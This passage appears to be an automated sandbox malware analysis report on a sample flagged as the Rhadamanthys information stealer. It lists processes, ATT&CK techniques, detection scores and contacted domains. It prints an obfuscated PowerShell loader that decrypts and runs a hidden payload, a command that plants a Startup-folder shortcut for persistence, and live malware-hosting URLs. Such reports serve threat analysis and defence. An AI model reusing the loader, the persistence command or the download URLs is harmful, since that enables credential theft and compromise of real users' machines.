'ew1fbe1lt2rgdgv3txdrulpywffrbnzgefdtd1r3z2w=';$hgjhdnd = new-object 'system.security.cryptography.aesmanaged';$hgjhdnd.mode = [system.security.cryptography.ciphermode]::ecb;$hgjhdnd.padding = [system.security.cryptography.paddingmode]::zeros;$hgjhdnd.blocksize = 128;$hgjhdnd.keysize = 256;$hgjhdnd.key = [system.convert]::frombase64string($pavnvyn);$fmshi = [system.convert]::frombase64string($giwxcqo);$hwklsipl = $fmshi[0..15];$hgjhdnd.iv = $hwklsipl;$bkvkozaiu = $hgjhdnd.createdecryptor();$wonqxsfki = $bkvkozaiu.transformfinalblock($fmshi, 16, $fmshi.length - 16);$hgjhdnd.dispose();$lmmkhz = new-object system.io.memorystream( , $wonqxsfki );$dylrlk = new-object system.io.memorystream;$cyowfotfz = new-object system.io.compression.gzipstream $lmmkhz, ([io.compression.compressionmode]::decompress);$cyowfotfz.copyto( $dylrlk );$cyowfotfz.close();$lmmkhz.close();[byte[]] $ohxploz = $dylrlk.toarray();$mkeeaj = [system.text.encoding]::utf8.getstring($ohxploz);$mkeeaj \| powershell -	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\neuralink.url" & echo url="c:\users\user\appdata\local\neuraconnect technologies\neuralink.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\neuralink.url" & exit

Source: Identification.pif, 00000019.00000000.2206363130.00000000002CD000.00000002.00000001.01000000.00000010.sdmp, Identification.pif, 00000019.00000003.2476011355.0000000005604000.00000004.00000800.00020000.00000000.sdmp, Identification.pif, 00000019.00000003.2476202172.00000000056F1000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: @EXITMETHOD@EXITCODEShell_TrayWnd-CALLGUICTRLREGISTERLISTVIEWSORTGUICTRLCREATELISTVIEWITEMGUICTRLCREATETREEVIEWITEMGUICTRLCREATECONTEXTMENUONAUTOITEXITUNREGISTERGUICTRLCREATELISTVIEWGUICTRLCREATEMENUITEMGUICTRLCREATECHECKBOXGUICTRLCREATEMONTHCALGUICTRLCREATEPROGRESSGUICTRLCREATETREEVIEWGUICTRLCREATEGRAPHICSTRINGFROMASCIIARRAYONAUTOITEXITREGISTERGUICTRLCREATETABITEMGUICTRLSETDEFBKCOLORINIREADSECTIONNAMESGUICTRLCREATEBUTTONDLLCALLBACKREGISTERGUICTRLCREATEUPDOWNGUICTRLCREATESLIDERSTRINGREGEXPREPLACEOBJCREATEINTERFACEGUICTRLSENDTODUMMYFILECREATESHORTCUTGUICTRLCREATEINPUTSOUNDSETWAVEVOLUMEFILECREATENTFSLINKGUISETACCELERATORSGUICTRLCREATECOMBOGUICTRLSETDEFCOLORPROCESSSETPRIORITYGUICTRLSETRESIZINGSTRINGTOASCIIARRAYDRIVEGETFILESYSTEMGUICTRLCREATEDUMMYTRAYITEMSETONEVENTGUICTRLCREATERADIOWINMINIMIZEALLUNDOGUICTRLCREATEGROUPGUICTRLCREATELABELAUTOITWINSETTITLEGUICTRLSETBKCOLORAUTOITWINGETTITLEGUICTRLSETGRAPHICGUICTRLCREATEDATEGUICTRLCREATEICONGUICTRLSETONEVENTCONSOLEWRITEERRORDLLCALLBACKGETPTRGUICTRLCREATELISTTRAYITEMGETHANDLEFILEFINDFIRSTFILEGUICTRLCREATEEDITGUICTRLCREATEMENUWINMENUSELECTITEMGUICTRLSETCURSORDLLSTRUCTGETDATASTATUSBARGETTEXTFILERECYCLEEMPTYFILESELECTFOLDERTRAYITEMSETSTATEDLLSTRUCTSETDATATRAYITEMGETSTATEWINGETCLIENTSIZEGUICTRLCREATEAVIHTTPSETUSERAGENTGUICTRLCREATEPICCONTROLGETHANDLEGUIGETCURSORINFOTRAYSETPAUSEICONFILEFINDNEXTFILEINIRENAMESECTIONDLLSTRUCTGETSIZESHELLEXECUTEWAITPROCESSWAITCLOSEGUICTRLCREATETABFILEGETSHORTNAMEWINWAITNOTACTIVEGUICTRLCREATEOBJGUICTRLGETHANDLESTRINGTRIMRIGHTGUICTRLSETLIMITGUICTRLSETIMAGEINIWRITESECTIONCONTROLTREEVIEWAUTOITSETOPTIONGUICTRLSETCOLORDLLSTRUCTGETPTRADLIBUNREGISTERDRIVESPACETOTALGUICTRLSETSTATEWINGETCLASSLISTGUICTRLGETSTATEFILEGETSHORTCUTDLLSTRUCTCREATEPROCESSGETSTATSCONTROLGETFOCUSDLLCALLBACKFREEGUICTRLSETSTYLEFILEREADTOARRAYTRAYITEMSETTEXTCONTROLLISTVIEWTRAYITEMGETTEXTFILEGETENCODINGFILEGETLONGNAMEGUICTRLSENDMSGSENDKEEPACTIVEDRIVESPACEFREEFILEOPENDIALOGGUICTRLRECVMSGCONTROLCOMMANDSTRINGTOBINARYWINMINIMIZEALLSTRINGISXDIGITTRAYSETONEVENTFILESAVEDIALOGDUMMYSPEEDTESTCONTROLGETTEXTMOUSECLICKDRAGGUICTRLSETFONTMOUSEGETCURSORWINGETCARETPOSCONTROLSETTEXTTRAYITEMDELETESTRINGTRIMLEFTDRIVEGETSERIALBINARYTOSTRINGGUICTRLSETDATAINIREADSECTIONUDPCLOSESOCKETCONTROLDISABLETRAYCREATEMENUTCPCLOSESOCKETDLLCALLADDRESSFILEGETVERSIONGUIREGISTERMSGTRAYSETTOOLTIPTRAYCREATEITEMDRIVEGETDRIVESTRINGISASCIISTRINGCOMPARESTRINGISALPHAPROCESSEXISTSSTRINGREVERSESTRINGSTRIPCRSPLASHIMAGEONGUICTRLSETTIPGUISTARTGROUPCONTROLGETPOSFILEGETATTRIBADLIBREGISTERDRIVESETLABELGUICTRLDELETEFILECHANGEDIRFILEWRITELINEPIXELCHECKSUMDRIVEGETLABELGUICTRLSETPOSGUISETBKCOLORPIXELGETCOLORSTRINGISDIGITSTRINGISFLOATWINWAITACTIVESTRINGISALNUMSTRINGISLOWERSTRINGISSPACEGUISETONEVENTSTRINGREPLACESTRINGSTRIPWSCONTROLENABLESTRINGISUPPERWINGETPROCESSFILESETATTRIBCONTROLFOCUSFILEREADLINEPROCESSCLOSEGUISETCURSORSPLASHTEXTONSTRINGFORMATTRAYSETSTATESTRINGREGEXPCONTROLCLICKSHELLEXECUTETRAYSETCLICKWINWAITCLOSEHTTPSETPROXYDRIVEGETTYPEWINGETHANDLECONSOLEWRITEGUIGETSTYLECONTROL

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe

Code function: 12_2_00D76210 cpuid

12_2_00D76210

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe

Code function: GetLastError,wsprintfW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,

12_2_00D65E70

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe

Code function: 12_2_00D64C30 lstrlenW,_DebugHeapAllocator,GetSystemTimeAsFileTime,GetFileAttributesW,memcpy,

12_2_00D64C30

Stealing of Sensitive Information

Yara detected RHADAMANTHYS Stealer

Source: Yara match

File source: 00000019.00000003.2987224346.0000000001500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected RHADAMANTHYS Stealer

Source: Yara match

File source: 00000019.00000003.2987224346.0000000001500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	1 Exploitation for Privilege Escalation	1 Obfuscated Files or Information	121 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Software Packing	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Email Collection	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	12 Process Injection	1 DLL Side-Loading	Security Account Manager	44 System Information Discovery	SMB/Windows Admin Shares	121 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	21 PowerShell	Login Hook	1 Registry Run Keys / Startup Folder	111 Masquerading	NTDS	111 Security Software Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	41 Virtualization/Sandbox Evasion	LSA Secrets	13 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Process Injection	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
setup.lnk	8%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\NeuraConnect Technologies\NeuraLink.pif	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Producing	3%	ReversingLabs
C:\Users\user\AppData\Roaming\ClassroomEc.exe	29%	ReversingLabs	Win32.Trojan.Nekark

Source	Detection	Scanner	Label
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://crl.v	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
https://2no.co/2ZrVm4;Set-ItemProperty	100%	Avira URL Cloud	malware
http://whitemansearch.shop/setup.	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setup...JL	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setupv3	0%	Avira URL Cloud	safe
http://whitemansearch.shop/ClassroomEc.exep	0%	Avira URL Cloud	safe
about:blank	0%	Avira URL Cloud	safe
http://whitemansearch.shop/ClassroomEc.exe	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setup48	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setup(	0%	Avira URL Cloud	safe
https://2no.co/2ZrVm4	100%	Avira URL Cloud	malware
http://whitemansearch.shop/setupR	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setup9	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setupQ	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setupC:	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setupaProgramFil	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setupK	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setupH	0%	Avira URL Cloud	safe
http://crl.microsoft8	0%	Avira URL Cloud	safe
http://crl.microsA	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setuptC:	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setupt	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setupX	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setup$global:?	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setuphttp://whitemansearch.shop/setup	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setup	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setupouteHelper.dll	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setupl/Z	0%	Avira URL Cloud	safe
http://whitemansearch.shop/setup...	0%	Avira URL Cloud	safe
http://whitemansearch.shop	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
whitemansearch.shop	5.101.153.86	true	true	unknown
2no.co	104.21.79.229	true	false	unknown
accounts.google.com	142.250.31.84	true	false	high
www.google.com	142.250.81.228	true	false	high
clients.l.google.com	142.251.40.238	true	false	high
clients2.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://whitemansearch.shop/ClassroomEc.exe	false	Avira URL Cloud: safe	unknown
about:blank	false	Avira URL Cloud: safe	low
https://clients1.google.com/tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=00000000000000000000000000000000000000005071B001ED	false		high
https://www.google.com/recaptcha/api.js	false		high
https://2no.co/2ZrVm4	false	Avira URL Cloud: malware	unknown
https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgS_YOPeGK3X1K4GIjCs5bmnU-QRgcCxGGYio4gxMIxzCz8oSx53B1g933onepuWbALDDhFc9jBNVv2Q5b8yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	false		high
https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA&size=normal&s=lWQi8XFYJHLFBSoU5SiD8DreLMbLqyaMWILUp5KCz1F35zWomRvT9ZsLyU2pNy3cJT6ktzRP5y17XcMG-do_3Wz9iewnxFuXO9-Rn8pvEh73KR_ICtSbe2Z6e_Ei5_nwQyOLl8qvlYvQk4daw9H_NvC1gU1QG5NpYFKB5attDgP678B_k9rlXBPBo2eoAqVFlZ1Em14eX_80yS-dPAqW96lMh_xfWdLzYUhZtjmAdlCguJrDRQwMm7Rczgjwz-ZdX4GSGDCvHFQ8Zn5X9oOgweVqfE-fbaY&cb=yulbx0ey1rif	false		high
https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard	false		high
https://www.google.com/recaptcha/api2/bframe?hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b	false		high
https://www.google.com/favicon.ico	false		high
http://whitemansearch.shop/setup	true	Avira URL Cloud: safe	unknown
https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1	false		high
https://www.google.com/	false		high
https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://whitemansearch.shop/setupv3	mshta.exe, 00000004.00000002.2037273373.00000270B5050000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://2no.co/2ZrVm4;Set-ItemProperty	powershell.exe, 00000008.00000002.2150689893.0000023D8A85E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
